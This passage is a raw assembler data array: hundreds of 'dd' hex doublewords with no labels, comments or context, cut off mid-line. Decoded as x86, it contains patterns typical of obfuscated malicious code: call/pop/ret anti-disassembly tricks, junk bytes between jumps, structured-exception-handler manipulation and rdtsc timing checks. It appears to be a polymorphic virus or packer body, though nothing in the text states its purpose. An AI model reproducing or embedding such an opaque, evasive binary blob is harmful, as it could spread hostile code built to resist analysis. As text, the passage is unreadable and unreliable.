4E840F02h, 89000000h, 716D1BDh, 49858B06h, 6A060707h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0E7EAC357h, 6A0000C6h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1A73C356h dd 8AD6AE59h, 4985C7DCh, 6070Fh, 8B000000h, 722F99Dh, 0F2C9E906h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 729BACC3h, 0D381666Fh, 0C18B936Bh, 7EC78166h dd 3880F9Fh, 66000000h, 858DFE8Bh, 6071F19h, 5009F780h dd 89DA8B66h, 81662404h, 6A65B9D7h, 0D59D8900h, 6A060720h dd 2ADB8100h, 8D15E81Bh, 0BAF3885h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 10BAE66Bh dd 2C1C3F32h, 860F4D51h, 12h, 0DE9h, 0EEB9D700h, 5325150Dh dd 177A3C19h, 0C0834895h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 2519B21h, 0E0FE9849h dd 0F8B70F50h, 0CE8505Bh, 64000000h, 8B3E4BC9h, 60E5161Dh dd 0E8B194D4h, 0Eh, 457AB6Dh, 82F49272h, 0E430309Ch, 5F515E02h dd 4895B5Fh, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 59D17EC9h, 0EF46A8EBh, 0BD8BA26Ch dd 60715E1h, 8E8h, 160F0A00h, 401AE8A7h, 0E3E5BF84h, 0FC5B1F40h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 9E47AFC3h, 0ED479472h, 3998589h, 0C7810607h dd 7B61D1C9h, 880F006Ah, 0Bh, 5870Fh, 81660000h, 0FF8CDBCBh dd 71BCD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0DE4ECA92h, 0B78D8D52h, 6A060AA5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 2A49C351h, 9BAF1A11h, 759D89D7h, 0FF06072Fh dd 50006AD1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 956D8B6Eh, 1BC91456h, 96B7104Bh, 83DF8B66h dd 71995BDh, 850F0106h, 91h, 549BD29h, 26A0607h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 0E9E0DF74h dd 0Eh, 0C64572A9h, 60FB0751h, 0E9D09D8Ah, 6050961Ch, 168D0Fh dd 11E90000h, 0CA000000h, 179D7BC8h, 0E9BE788Eh, 0B409F102h dd 78708398h, 24048961h, 1259D0Bh, 95FF0607h, 60729FDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4C35040h dd 0EA9DDAAh, 8B6DB9A4h, 71AADBDh, 0DE3E906h, 0E80000h dd 5D000000h, 0AF42ED81h, 890F060Bh, 5, 2E2C1ABFh, 0E6E78109h dd 8A79EB47h, 6860FFDh, 8B000000h, 72F4D9Dh, 0A858D06h dd 0E8060A91h, 13h, 0DACEC152h, 75AF147Ch, 0C3A8DEA4h dd 85EA17D9h, 0E9505797h, 12h, 2796B96h, 26F293E1h, 39522606h dd 429C5422h, 905B8BCDh, 7EBB5250h, 0F3EFB82h, 5AD2B331h dd 0BF665058h, 6A90D599h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0CFE5C353h, 0DB006F01h dd 0BD8B1D4Eh, 60721A9h, 35FF64h, 33000000h, 70C55BDh dd 25896406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 21C35747h dd 0F4825CADh, 33489B32h, 28B0F01h, 8B000000h, 0BE860F8h dd 0F9000000h, 0F6C979B0h, 428EC112h, 8D015557h, 60706F1h dd 0DF8B605Eh, 6E9h, 4A517300h, 61815DBDh, 0A585FF61h dd 906070Fh, 71B5D8Dh, 6AFF6A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8689C357h dd 26A58589h, 0B5FF0607h, 60732C9h, 0FFFB8B66h, 7303595h dd 12BE906h, 11E90000h, 0E2000000h, 0AD52B2FFh, 0FCB7208Fh dd 91BAA1B2h, 2E9CE0B4h, 858900B0h, 6072AF9h, 0FE970E6h dd 64000000h, 61FD1712h, 0ECA3792Ah, 70EA68C0h, 71E43AF9h dd 8E1BD8Bh, 613C0607h, 0E7830Fh, 820F0000h, 6, 2A919589h dd 0B60F0607h, 0B1BD89C8h, 0BA060708h, 6, 8099589h, 0C18B0607h dd 0E9816660h, 958BE770h, 6073091h, 4E8C161h, 13E9h, 6A9FCD00h dd 12D8158Eh, 993C6663h, 4C271101h, 7A0FBEA6h, 0E2F766F9h dd 1871BD89h, 0C82B0607h, 666DF380h, 0F3CED381h, 9D89D18Bh dd 6070C39h, 1D858B60h, 0F06071Eh, 0E961F6B7h, 71h, 5EF38166h dd 8858B21h, 83000000h, 0BF6607C0h, 0C0832711h, 3BFA8B00h dd 18830FD0h, 1000000h, 71C699Dh, 2D9D8B06h, 0E906072Bh dd 41h, 0A84ABF66h, 8BFFB70Fh, 0FFFFFF8Dh, 0BD8B57FFh dd 6073335h, 1E1835Bh, 23840Fh, 9D8B0000h, 6071A79h, 83DEB70Fh dd 0FFFFFFA5h, 5F50FEFFh, 89589h, 9D890000h, 6070555h dd 0E9h, 55B58D00h, 0BB060B30h, 1AF00559h, 95FF006Ah, 6073201h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9DC35646h dd 6D3D4CB4h, 40349AC7h, 106CB9h, 0FCE18300h, 9D8BFCF5h dd 6070BA9h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 8C8394C3h, 0BD8B22C5h, 6071509h dd 0BF66D22Bh, 33ADB1EBh, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 563701C3h, 48F30486h, 66461D7Bh, 6AE71DBFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 57C9C356h, 89781F02h, 716699Dh, 0D5F5006h, 88h, 32BD8589h dd 958B0607h, 6071B41h, 5880Fh, 81660000h, 8B615EDBh, 706058Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 58CBA4D0h, 89A5A7C9h, 70B8595h, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh, 0B70FF8BFh dd 0D1BD83DAh, 6070Bh, 85840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 665741C3h dd 5B9FD3BBh, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0FBF78032h, 4DB48D8Dh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0C0341AC3h, 9D8B28E0h, 6070B31h, 2A61BD8Bh dd 0E1FF0607h, 0E8C68160h, 8068A9BAh, 836145E6h, 70069BDh dd 840F0006h, 47Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 84C35343h, 0D3A75714h, 0AAFC0FD0h, 8BD88A05h dd 69BD83DAh, 1060700h, 460840Fh, 8D890000h, 6070B11h dd 69BD83h, 0F030607h, 41786h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 1A69586Bh dd 2321BD23h, 8B600607h, 72F919Dh, 0D98C6606h, 59E7D781h dd 0E1804724h, 8B0F04h, 0A000000h, 20840FC9h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0C117C357h, 42DC7B59h, 6D858B8Dh, 66060730h dd 8533D88Bh, 6073305h, 68E0Fh, 8D290000h, 6071D01h, 0C6EEBF66h dd 60536050h, 89615F61h, 0B70F2404h, 0A0B750DBh, 6A006A5Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 49B8C352h, 6691CC76h, 68E93DBFh, 7D06CDCBh dd 52BB5250h, 0F68D8A2h, 2800F31h, 60000000h, 81585A61h dd 0CE342434h, 6A7D19h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 86C5B8C3h, 26800Fh, 0DE80000h, 61000000h dd 4371DE9Fh, 0B1BB1543h, 0D50D2E9Fh, 0EE9h, 0C4586000h dd 9CD966A6h, 0BB3B2691h, 5BCC9A6Fh, 1B9195FFh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 10B401C3h, 0BF6D652Ch, 8589F88Bh, 60AB372h, 2406BB66h dd 248E9h, 0ED9D8B00h, 8B060720h, 0AB36A85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0B501633Fh, 6072009h, 58C0Fh, 81660000h, 0C7E6E6E3h dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 9ADFC48h, 0BF0F5678h, 0B58B5BDBh dd 60AB36Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0FAC35343h, 5ED4D2F5h, 0A59D89CAh, 0E906071Fh dd 14h, 2D386498h, 5CDF407Bh, 0AB36A654h, 6CECEFC6h, 87E6AE29h dd 1579858Bh, 95090607h, 60704D1h, 9D090689h, 6071C95h dd 306D858Bh, 46890607h, 41858904h, 96060707h, 5890Fh dd 2BF0000h, 5041FE66h, 5096DE8Bh, 1A19501h, 0FF5B0607h dd 0AB36AB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 830F9E60h, 6, 0FC12EF81h, 4E838E6h dd 0FF000000h, 60001F03h, 6345DBBAh, 188C0F35h, 0E9000000h dd 13h, 0EA2FDAF3h, 1161724Dh, 0CBE9E987h, 9A96AA6Fh, 611A085Dh dd 242ABB50h, 448B13C4h, 8B0424h, 0EE8h, 5B56C200h, 0C6B89507h dd 0F7A205AEh, 5B5AB2F7h, 4244489h, 6840F50h, 0F000000h dd 8Eh, 6A585B00h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 553AC350h, 0BD0B37D5h, 6073145h dd 0B372858Dh, 0BD8B060Ah, 60732B5h, 12E86050h, 38000000h dd 0F67A356Ch, 691B77CDh, 19F4A6Bh, 0B1A017DFh, 0F5250F6h dd 58585A31h, 0BE8h, 65D11200h, 0BCA1DCF0h, 0C71121EDh dd 8D0Fh, 615E0000h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D5E9C355h, 81661ED3h dd 0FFAA3AC3h, 71B9195h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0FB96EDDBh, 82CDE301h dd 0DE8h, 0C5823F00h, 0E14C5818h, 48095D35h, 0BD89F0A1h dd 6071CE9h, 6A615Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0D0361DC3h, 70F61C8h, 0C7599159h dd 7006985h, 306h, 0FAF38000h, 72BD83F9h, 60AB3h, 2E840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 61C330C3h, 8BDA8AF0h, 519D33FBh, 0E9060731h dd 1Bh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 167AC357h, 2BE5B589h, 8B660607h, 69BD83FEh, 3060700h dd 47D850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 83B39DC3h, 0B372BD83h, 0F00060Ah dd 45284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 0FF59C083h, 0AB372B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0C8134DC5h, 2E5CF9AAh, 0FFFC740Ch, 7154595h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0CFC781EEh, 607EE4DCh, 6860Fh, 0BD8B0000h, 6071A59h dd 11E856h, 5ECF0000h, 1A9559D3h, 5A756D6Bh, 1A466DE2h dd 5EBCC43Eh, 8B666158h, 66B58BD8h, 6A060AB3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 15F5C353h, 8E0FB01Dh, 6, 21B19D0Bh, 6C70607h, 10001h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9EC35646h dd 2ECFEC20h, 50A7A07Dh, 89DE8B66h, 6A2434h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 5757C8C3h dd 9614D381h, 5F5F7CECh, 0C615C3BFh, 72B5FF29h, 6A060AB3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0F927C355h, 0A9FD0FB7h, 0C935BFEEh, 94BB5CDBh dd 0FF750C26h, 7091195h, 0D8B70F06h, 6B10A6BBh, 66B58B35h dd 6A060AB3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9C19C357h, 70BDCFD1h, 0A4E71352h dd 2CC9858Bh, 86890607h, 0C4h, 0B589FB8Bh, 6070ADDh, 1B41958Bh dd 9D290607h, 60705B1h, 8B04C283h, 205089FAh, 1B31BD8Bh dd 858D0607h, 60AC7EDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 71C35545h, 8E8C9684h, 83A40867h, 89C6B31Ch dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8B609B8Ah, 72C719Dh, 6A006A06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 33F0C350h, 87B378C9h, 0C9BD092Bh, 0FF060700h, 0AB372B5h dd 0AE96006h, 0EA000000h, 0DC89777Bh, 0A0B30308h, 95FF617Dh dd 60729FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 68C35242h, 0FE9506Fh, 4000000h, 2ACF4877h, 763F0CA7h dd 2E88482Ah, 348956E0h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5DA817Eh, 2FDAEF81h, 0B5FF2273h dd 60AB372h, 10E9h, 94E8F00h, 0E32D105Bh, 636C9E99h, 9F389618h dd 0A595FF2Fh, 0F06071Ah, 38Ch, 0D88B6600h, 8ADBD83h, 0F000607h dd 8284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 722F926Fh, 0E0AB889Bh, 8B664C6Dh dd 850F96FEh, 4, 7D2BBB66h, 5E850h, 0F8EA0000h, 0E851A88Ch dd 12h, 4FE666BDh, 0DA3CF9CAh, 85D9F132h, 4AEADA84h, 52503A78h dd 585A310Fh, 6A965F5Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 7BA8C352h, 0B13B44BDh dd 0FF88D11Fh, 0AB372B5h, 0DBB70F06h, 95FFDE8Bh, 6072605h dd 83C391BBh, 72B5FF5Bh, 89060AB3h, 732F995h, 0F195FF06h dd 106071Dh, 722B995h, 0B1BD8306h, 2060703h, 77840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9D89BAC3h, 6073301h, 749858Bh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 2157BEC3h dd 62B9631Bh, 6A0000C6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 5703C353h, 7E9h, 6E7F8500h dd 4467CA45h, 4985C75Fh, 6070Fh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0C747C350h dd 0F4541A94h, 0E9CFE29Ch, 0FFFFF361h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 66C35343h, 0F9BF6733h, 89467871h dd 729B185h, 89C18B06h, 71175BDh, 19858D06h, 6A06071Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0FC9C357h, 0E850F9B7h, 10h, 4550B265h, 7FC7B8FCh dd 0EF4E9D30h, 0DFC05924h, 5E85250h, 0D000000h, 0D4C028F7h dd 0E9310F5Fh, 12h, 0BB79D298h, 6C8967C5h, 0D1725DB4h dd 0AAC36345h, 585A76A2h, 2404895Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 3AC35141h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 1CA08CC3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8D4885C3h, 0BBF3585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0DF2D146Ah, 45BF53E3h, 5810F60h, 66000000h, 0F21DE81h dd 0F809C381h, 83616CF0h, 9D2305C0h, 6072405h, 89FB8B50h dd 14E92404h, 97000000h, 97B5D9C1h, 0DBCF5F87h, 875E5B1Fh dd 74CF122Ch, 6AF4731Eh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 7851D166h, 0B99D0BEBh dd 6A060701h, 0D98B5200h, 0CD95FF5Bh, 8B06071Bh, 71E7DBDh dd 0B78D8D06h, 89060AA5h, 703A98Dh, 6AD1FF06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 169CC351h, 3844966h, 72D09BDh, 95BD8306h, 1060719h dd 74850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0AEB0B8C3h, 6880F4Fh, 89000000h dd 71C4195h, 0E8026A06h, 8, 0E96AE032h, 0C25D8436h, 76DB589h dd 8B5B0607h, 701E59Dh, 66609006h, 610E1BB9h, 3D6BBF50h dd 0E8902EDCh, 0Ah, 13ADEE19h, 2717EC28h, 0BF0F2962h, 95FF5BFEh dd 60729FDh, 5EEFE781h, 0C7E9165Bh, 0E800000Dh, 0 dd 3FED815Dh, 6A060BBFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 9B61C351h, 0FFBBAB91h dd 8BE1F855h, 72BE59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 13FDE9A3h, 3D33A4B8h dd 85BD8B3Ah, 66060704h, 8DED33BBh, 0A910A85h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 6C209B7h, 3FD52D9Ah, 0D781B299h, 52ACC182h, 75BB6650h dd 2404891Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 7FC35646h, 4016FE56h, 36EA7E20h, 0BE887h, 14200000h dd 71D46B23h, 12CC09F9h, 0E1BD23AFh, 5B060707h, 35FF64h dd 60000000h, 207DEB81h, 0B9662ADBh, 96182E5h, 719799Dh dd 25896406h, 0 dd 0DE8h, 9A99D700h, 0BD78E356h, 6B5BBAB3h, 0FE9F4CCh dd 12000000h, 7E85DBCDh, 8A8AD75h, 684D58FFh, 0FF5BDD31h dd 70FA585h, 6AFA8B06h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0DD752E77h, 0ED07A31Ah dd 6890F0Ah, 81000000h, 9A0D7FDFh, 85B5FF44h, 6A060729h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 4758C353h, 0BCB3BF91h, 6660EA87h, 0FF61CB8Bh dd 7303595h, 13AE906h, 50500000h, 5381BF66h, 0B05F5Bh dd 70E6DCB3h, 1A8D9589h, 71E40607h, 2CADBD09h, 613C0607h dd 116830Fh, 0B5890000h, 6071B3Dh, 0F5C8B60Fh, 6BAh, 10E800h dd 0B9250000h, 10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0CB803BA9h dd 0C18B5F9Ch, 1B09BD8Bh, 0E8C10607h, 2D8D8904h, 6606071Eh dd 8B66E2F7h, 0FC82BFBh, 0D18BF8BFh, 0F38166h, 0C6E95Dh dd 0DE90000h, 99000000h, 524743D5h, 0A4D2A550h, 29317C4Dh dd 1858Bh, 0CE90000h, 0FF000000h, 0F2692041h, 50F47834h dd 83E715F7h, 858907C0h, 6070585h, 5CCB8166h, 0C08371h dd 1E7DBD8Bh, 95890607h, 6072C49h, 830FD03Bh, 24h, 1D4D9D8Bh dd 6DE90607h, 0E9000000h, 14h, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh dd 0DE39E678h, 44EFEEABh, 0FFFF8D8Bh, 0F53FFFFh, 68Eh dd 0B5858900h, 5F060703h, 0F01E183h, 3784h, 0A583F500h dd 0FFFFFFFFh, 0AE9FEh, 0C6140000h, 9BEEDF42h, 0E067F604h dd 19589h, 10E90000h, 7000000h, 3F83F5B5h, 125BE367h, 681BD834h dd 0E96B2B7Fh, 0 dd 40C1B58Dh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 5D15B5C3h, 259A8EA9h, 8133AF62h dd 63888FC7h, 6A006A24h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 3EA8C352h, 0BC5402CAh dd 0FB707CD6h, 75BD8B53h, 5F060715h, 320195FFh, 0BF570607h dd 7C642923h, 0FC0B95Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0CB7383C3h, 0CAA2F699h dd 0A1BD317Eh, 83060715h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 7B163BC3h, 0FACA4D3h dd 6AFCD9B7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9DF2C355h, 336DA08h, 701319Dh dd 0B5895006h, 6072B09h, 0E9C02B5Bh, 8, 1BA6E3C4h, 0CFC0696Eh dd 6AD22Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 204E7C3h, 70CBFC3Eh, 599D0310h, 0AD060704h dd 0E8D1C233h, 0E983D003h, 29F47504h, 70A5DB5h, 0D7816606h dd 880DBACCh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 7742C357h, 958BF5C6h dd 6071B41h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0ECC35242h, 91DE411h, 13E9h, 7BF4B100h, 0A47A9329h dd 0BB7D0B75h, 0F0670699h, 540A26EEh, 6058D8Bh, 8B500607h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h, 4ABC489Eh dd 24BF6CBAh, 11E9h, 0F2C10E00h, 0D524ABDCh, 12CFA0h, 5DB22064h dd 0CE9E650h, 61000000h, 775DC38Ch, 5BA6A32Bh, 894A36F7h dd 721D195h, 0D1BD8306h, 6070Bh, 9D840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 899A9AC3h, 0B8850079h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 26C35343h dd 31208993h, 7190DB5h, 0B48D8D06h, 6A06074Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 875FC357h, 0E1FF0057h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0ABC35242h, 5C21DE8Fh, 0E420FF6h, 91BD8B4Fh dd 83060730h, 70069BDh, 840F0006h, 31Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D4C35747h, 1BFED542h dd 0BF660106h, 0BD839FA3h, 6070069h, 2840F01h, 0BB000003h dd 59DD704Ah, 69BD83h, 0F030607h, 2BA86h, 0F3816600h, 6A601524h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 5BD6C350h, 19919D8Bh, 9D8B0607h, 60700BDh dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0FF0DC350h, 0C43F2AF7h, 8BF87AEFh dd 72139BDh, 4E18006h, 76133FBBh, 0FC90A39h, 0C784h, 0EEB8000h dd 306D858Bh, 33F50607h, 7330585h, 0D99D8906h, 90060703h dd 0DE8h, 37B4DE00h, 4CBBBA13h, 5846CB9Ah, 5B52243Ah, 5E8505Bh dd 22000000h, 0A36F3A25h, 68E0Fh, 52500000h, 585A310Fh dd 9D89905Bh, 6070125h, 6E9006Ah, 0E9000000h, 1C26E8C3h dd 0FE806845h, 8B66181Ch, 243481FEh, 1803FD7Fh, 0FFFBBF0Fh dd 71B9195h, 9D958906h, 89060716h, 0AB37285h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 9D52C21Dh, 1EE998A8h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 34AC353h dd 32169075h, 0B4FA9AF5h, 0B36A858Bh, 8956060Ah, 7125DBDh dd 0C75B06h, 18h, 5ED8D09h, 0B58B0607h, 60AB36Eh, 1579858Bh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 8AFAF8C3h, 26F5960Fh, 689DF47h, 1F95BD8Bh dd 858B0607h, 607306Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0C6C35747h, 66BAC7CDh, 89EB6DBBh, 0FE90446h dd 0C9000000h, 0A203E991h, 0AE2FDED5h, 0CCC21F4Ch, 5096BFBDh dd 96FE8B66h, 1E498D89h, 0B5FF0607h, 60AB36Ah, 1D3EDF81h dd 3F682FCFh, 813B22A0h, 0A3C02434h, 8D293B3Dh, 60706A9h dd 0B372858Dh, 9D29060Ah, 6071B19h, 6A19D33h, 0BF500607h dd 46F5E460h, 8B240489h, 71AD19Dh, 9195FF06h, 0E906071Bh dd 0Dh, 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 5BBF66D8h, 6A6163h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0B9852CC3h, 85C7AFACh, 6070069h, 3, 8E8h, 90C39100h dd 33057974h, 0A98D89CCh, 5F060708h, 0B372BD83h, 0F00060Ah dd 4284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E9FF9922h, 3Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0D8C35040h, 50DE8BFCh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BF0FC08Bh dd 0FDB589FFh, 8B060705h, 732E9BDh, 79958906h, 83060719h dd 70069BDh, 850F0306h, 479h, 6E9h, 8507CB00h, 89A79EE2h dd 70BFDB5h, 72BD8306h, 60AB3h, 45B840Fh, 9D8B0000h, 6072C55h dd 0B372B5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 75BBC9C3h, 8D29F2D8h, 607105Dh dd 154595FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0B58B24C3h, 60AB366h, 1D199509h dd 6C70607h, 10001h, 1AB99D8Bh, 0DF8B0607h, 820F96h, 50000000h dd 6A96DE8Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0C2EDC351h, 56F36A82h, 0A2491C4Ah dd 8D89DE8Bh, 6071C3Dh, 0B372B5FFh, 6653060Ah, 0FF5FFA8Bh dd 7091195h, 799D3306h, 8B06072Fh, 0AB366B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 934D45C3h, 8BA0D01Eh, 72CC985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 800F4797h dd 2, 9D896CB3h, 6072A71h, 0C48689h, 0BD8B0000h, 6070C55h dd 1B41958Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 24544AC3h, 3CB7816Ch, 1FB19D8Bh dd 0C2830607h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 